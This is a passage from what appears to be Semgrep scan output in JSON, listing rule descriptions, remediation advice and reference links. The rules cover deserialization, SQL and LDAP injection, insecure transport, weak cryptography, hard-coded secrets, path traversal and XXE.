the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-torch-pickle.tainted-torch-pickle)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/;](https://davidhamann.de/2020/04/05/exploiting-python-pickle/;)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f)](https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f))\n - [https://pytorch.org/docs/stable/generated/torch.load.html](https://pytorch.org/docs/stable/generated/torch.load.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-torch-pickle.tainted-torch-pickle","id":"python.lang.deserialization.tainted-torch-pickle.tainted-torch-pickle","name":"python.lang.deserialization.tainted-torch-pickle.tainted-torch-pickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-torch-pickle.tainted-torch-pickle"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'urllib.urlopen()' using 'http://'. This request will not be encrypted. Use 'https://' instead."},"help":{"markdown":"Detected 'urllib.urlopen()' using 'http://'. This request will not be encrypted. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopen.insecure-urlopen)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.urlopen](https://docs.python.org/3/library/urllib.request.html#urllib.request.urlopen)\n","text":"Detected 'urllib.urlopen()' using 'http://'. This request will not be encrypted. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopen.insecure-urlopen","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopen.insecure-urlopen","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopen.insecure-urlopen","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlopen.insecure-urlopen"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The environment variable `ACTIONS_ALLOW_UNSECURE_COMMANDS` grants this workflow permissions to use the `set-env` and `add-path` commands. There is a vulnerability in these commands that could result in environment variables being modified by an attacker. Depending on the use of the environment variable, this could enable an attacker to, at worst, modify the system path to run a different command than intended, resulting in arbitrary code execution. This could result in stolen code or secrets. Don't use `ACTIONS_ALLOW_UNSECURE_COMMANDS`. Instead, use Environment Files. See https://github.com/actions/toolkit/blob/main/docs/commands.md#environment-files for more information."},"help":{"markdown":"The environment variable `ACTIONS_ALLOW_UNSECURE_COMMANDS` grants this workflow permissions to use the `set-env` and `add-path` commands. There is a vulnerability in these commands that could result in environment variables being modified by an attacker. Depending on the use of the environment variable, this could enable an attacker to, at worst, modify the system path to run a different command than intended, resulting in arbitrary code execution. This could result in stolen code or secrets. Don't use `ACTIONS_ALLOW_UNSECURE_COMMANDS`. Instead, use Environment Files. See https://github.com/actions/toolkit/blob/main/docs/commands.md#environment-files for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.github-actions.security.allowed-unsecure-commands.allowed-unsecure-commands)\n - [https://github.blog/changelog/2020-10-01-github-actions-deprecating-set-env-and-add-path-commands/](https://github.blog/changelog/2020-10-01-github-actions-deprecating-set-env-and-add-path-commands/)\n - [https://github.com/actions/toolkit/security/advisories/GHSA-mfwh-5m23-j46w](https://github.com/actions/toolkit/security/advisories/GHSA-mfwh-5m23-j46w)\n - [https://github.com/actions/toolkit/blob/main/docs/commands.md#environment-files](https://github.com/actions/toolkit/blob/main/docs/commands.md#environment-files)\n","text":"The environment variable `ACTIONS_ALLOW_UNSECURE_COMMANDS` grants this workflow permissions to use the `set-env` and `add-path` commands. There is a vulnerability in these commands that could result in environment variables being modified by an attacker. Depending on the use of the environment variable, this could enable an attacker to, at worst, modify the system path to run a different command than intended, resulting in arbitrary code execution. This could result in stolen code or secrets. Don't use `ACTIONS_ALLOW_UNSECURE_COMMANDS`. Instead, use Environment Files. See https://github.com/actions/toolkit/blob/main/docs/commands.md#environment-files for more information."},"helpUri":"https://semgrep.dev/r/yaml.github-actions.security.allowed-unsecure-commands.allowed-unsecure-commands","id":"yaml.github-actions.security.allowed-unsecure-commands.allowed-unsecure-commands","name":"yaml.github-actions.security.allowed-unsecure-commands.allowed-unsecure-commands","properties":{"precision":"very-high","tags":["CWE-749: Exposed Dangerous Method or Function","MEDIUM CONFIDENCE","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.github-actions.security.allowed-unsecure-commands.allowed-unsecure-commands"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'The implementation of the PKCS1 v1.5 padding scheme in the `cryptography` package is vulnerable to timing attacks. The RSA decryption raises an exception on failure, which takes a different amount of time than returning a value upon success. This is not considered secure and it is not recommended that PKCS1v15 is used in new applications. OAEP should be preferred for encryption and PSS should be preferred for signatures. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"help":{"markdown":"'The implementation of the PKCS1 v1.5 padding scheme in the `cryptography` package is vulnerable to timing attacks. The RSA decryption raises an exception on failure, which takes a different amount of time than returning a value upon success. This is not considered secure and it is not recommended that PKCS1v15 is used in new applications. OAEP should be preferred for encryption and PSS should be preferred for signatures. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.cryptography-rsa-pkcs1-signature.cryptography-rsa-pkcs1-signature)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/rsa/#cryptography.hazmat.primitives.asymmetric.padding.PKCS1v15](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/rsa/#cryptography.hazmat.primitives.asymmetric.padding.PKCS1v15)\n - [https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf](https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n - [https://words.filippo.io/dispatches/dsa/](https://words.filippo.io/dispatches/dsa/)\n","text":"'The implementation of the PKCS1 v1.5 padding scheme in the `cryptography` package is vulnerable to timing attacks. The RSA decryption raises an exception on failure, which takes a different amount of time than returning a value upon success. This is not considered secure and it is not recommended that PKCS1v15 is used in new applications. OAEP should be preferred for encryption and PSS should be preferred for signatures. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"helpUri":"https://semgrep.dev/r/python.cryptography.cryptography-rsa-pkcs1-signature.cryptography-rsa-pkcs1-signature","id":"python.cryptography.cryptography-rsa-pkcs1-signature.cryptography-rsa-pkcs1-signature","name":"python.cryptography.cryptography-rsa-pkcs1-signature.cryptography-rsa-pkcs1-signature","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.cryptography-rsa-pkcs1-signature.cryptography-rsa-pkcs1-signature"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Appending `$SLICE` from multiple goroutines is not concurrency safe"},"help":{"markdown":"Appending `$SLICE` from multiple goroutines is not concurrency safe\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.racy-append-to-slice.racy-append-to-slice)\n - [https://go.dev/blog/maps#concurrency](https://go.dev/blog/maps#concurrency)\n","text":"Appending `$SLICE` from multiple goroutines is not concurrency safe"},"helpUri":"https://semgrep.dev/r/trailofbits.go.racy-append-to-slice.racy-append-to-slice","id":"trailofbits.go.racy-append-to-slice.racy-append-to-slice","name":"trailofbits.go.racy-append-to-slice.racy-append-to-slice","properties":{"precision":"very-high","tags":["CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.racy-append-to-slice.racy-append-to-slice"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-static script inside otto VM. Audit the input to 'VM.Run'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static script inside otto VM. Audit the input to 'VM.Run'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.otto.security.audit.dangerous-execution.dangerous-execution)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static script inside otto VM. Audit the input to 'VM.Run'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/go.otto.security.audit.dangerous-execution.dangerous-execution","id":"go.otto.security.audit.dangerous-execution.dangerous-execution","name":"go.otto.security.audit.dangerous-execution.dangerous-execution","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.otto.security.audit.dangerous-execution.dangerous-execution"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.exposed-exec-sqli.exposed-exec-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"helpUri":"https://semgrep.dev/r/kotlin.spring.exposed-exec-sqli.exposed-exec-sqli","id":"kotlin.spring.exposed-exec-sqli.exposed-exec-sqli","name":"kotlin.spring.exposed-exec-sqli.exposed-exec-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.exposed-exec-sqli.exposed-exec-sqli"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"help":{"markdown":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.os.tainted-dotenv-variable-django.tainted-dotenv-variable-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"helpUri":"https://semgrep.dev/r/python.django.os.tainted-dotenv-variable-django.tainted-dotenv-variable-django","id":"python.django.os.tainted-dotenv-variable-django.tainted-dotenv-variable-django","name":"python.django.os.tainted-dotenv-variable-django.tainted-dotenv-variable-django","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.os.tainted-dotenv-variable-django.tainted-dotenv-variable-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.reqwest.hardcoded-uri-password.hardcoded-uri-password)\n - [https://docs.rs/reqwest/latest/reqwest/](https://docs.rs/reqwest/latest/reqwest/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.reqwest.hardcoded-uri-password.hardcoded-uri-password","id":"rust.secrets.reqwest.hardcoded-uri-password.hardcoded-uri-password","name":"rust.secrets.reqwest.hardcoded-uri-password.hardcoded-uri-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.reqwest.hardcoded-uri-password.hardcoded-uri-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-sha1)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-sha1","id":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-sha1","name":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-sha1","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.use_of_weak_crypto.use-of-sha1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for lack of usage of the \"secure: true\" option when sending ftp requests through the nodejs ftp module. This leads to unencrypted traffic being sent to the ftp server. There are other options such as \"implicit\" that still does not encrypt all traffic. ftp is the most utilized npm ftp module."},"help":{"markdown":"Checks for lack of usage of the \"secure: true\" option when sending ftp requests through the nodejs ftp module. This leads to unencrypted traffic being sent to the ftp server. There are other options such as \"implicit\" that still does not encrypt all traffic. ftp is the most utilized npm ftp module.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.ftp-request.ftp-request)\n - [https://www.npmjs.com/package/ftp](https://www.npmjs.com/package/ftp)\n - [https://openbase.io/js/ftp](https://openbase.io/js/ftp)\n","text":"Checks for lack of usage of the \"secure: true\" option when sending ftp requests through the nodejs ftp module. This leads to unencrypted traffic being sent to the ftp server. There are other options such as \"implicit\" that still does not encrypt all traffic. ftp is the most utilized npm ftp module."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.ftp-request.ftp-request","id":"problem-based-packs.insecure-transport.js-node.ftp-request.ftp-request","name":"problem-based-packs.insecure-transport.js-node.ftp-request.ftp-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.ftp-request.ftp-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Call to 'read()' without error checking is susceptible to file descriptor exhaustion. Consider using the 'getrandom()' function."},"help":{"markdown":"Call to 'read()' without error checking is susceptible to file descriptor exhaustion. Consider using the 'getrandom()' function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/c.lang.security.random-fd-exhaustion.random-fd-exhaustion)\n - [https://lwn.net/Articles/606141/](https://lwn.net/Articles/606141/)\n","text":"Call to 'read()' without error checking is susceptible to file descriptor exhaustion. Consider using the 'getrandom()' function."},"helpUri":"https://semgrep.dev/r/c.lang.security.random-fd-exhaustion.random-fd-exhaustion","id":"c.lang.security.random-fd-exhaustion.random-fd-exhaustion","name":"c.lang.security.random-fd-exhaustion.random-fd-exhaustion","properties":{"precision":"very-high","tags":["CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: c.lang.security.random-fd-exhaustion.random-fd-exhaustion"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.sql.tokio-postgres-taint.tokio-postgres-taint)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.rocket.sql.tokio-postgres-taint.tokio-postgres-taint","id":"rust.rocket.sql.tokio-postgres-taint.tokio-postgres-taint","name":"rust.rocket.sql.tokio-postgres-taint.tokio-postgres-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.sql.tokio-postgres-taint.tokio-postgres-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.system.sqlconnection-hardcoded-secret.sqlconnection-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.system.sqlconnection-hardcoded-secret.sqlconnection-hardcoded-secret","id":"csharp.lang.security.system.sqlconnection-hardcoded-secret.sqlconnection-hardcoded-secret","name":"csharp.lang.security.system.sqlconnection-hardcoded-secret.sqlconnection-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.system.sqlconnection-hardcoded-secret.sqlconnection-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.path-traversal.file-access-taint-msg.file-access-taint-msg)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.micronaut.path-traversal.file-access-taint-msg.file-access-taint-msg","id":"java.micronaut.path-traversal.file-access-taint-msg.file-access-taint-msg","name":"java.micronaut.path-traversal.file-access-taint-msg.file-access-taint-msg","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.path-traversal.file-access-taint-msg.file-access-taint-msg"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XML processor being instantiated without calling the `setFeature` functions that are generally used for disabling entity processing. User controlled data in XML Parsers can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality."},"help":{"markdown":"XML processor being instantiated without calling the `setFeature` functions that are generally used for disabling entity processing. User controlled data in XML Parsers can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.sax-dtd-enabled.sax-dtd-enabled)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"XML processor being instantiated without calling the `setFeature` functions that are generally used for disabling entity processing. User controlled data in XML Parsers can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.sax-dtd-enabled.sax-dtd-enabled","id":"scala.lang.security.audit.sax-dtd-enabled.sax-dtd-enabled","name":"scala.lang.security.audit.sax-dtd-enabled.sax-dtd-enabled","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.sax-dtd-enabled.sax-dtd-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped. Ensure data passed to an LDAP query is not controllable or properly sanitize the user input with functions like createEqualityFilter."},"help":{"markdown":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped. Ensure data passed to an LDAP query is not controllable or properly sanitize the user input with functions like createEqualityFilter.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.spring-tainted-ldap-injection.spring-tainted-ldap-injection)\n - 